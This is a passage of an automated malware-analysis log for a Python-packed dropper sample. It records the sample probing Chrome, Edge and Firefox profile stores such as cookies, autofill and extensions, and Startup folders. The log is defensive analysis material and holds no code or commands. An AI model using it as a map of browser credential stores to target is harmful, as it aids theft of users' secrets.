Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\c7615543-0de7-4eea-9862-59688b7f430d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\c7615543-0de7-4eea-9862-59688b7f430d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\c7615543-0de7-4eea-9862-59688b7f430d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\content-prefs.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\favicons.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts VolumeInformation	Jump to behavior
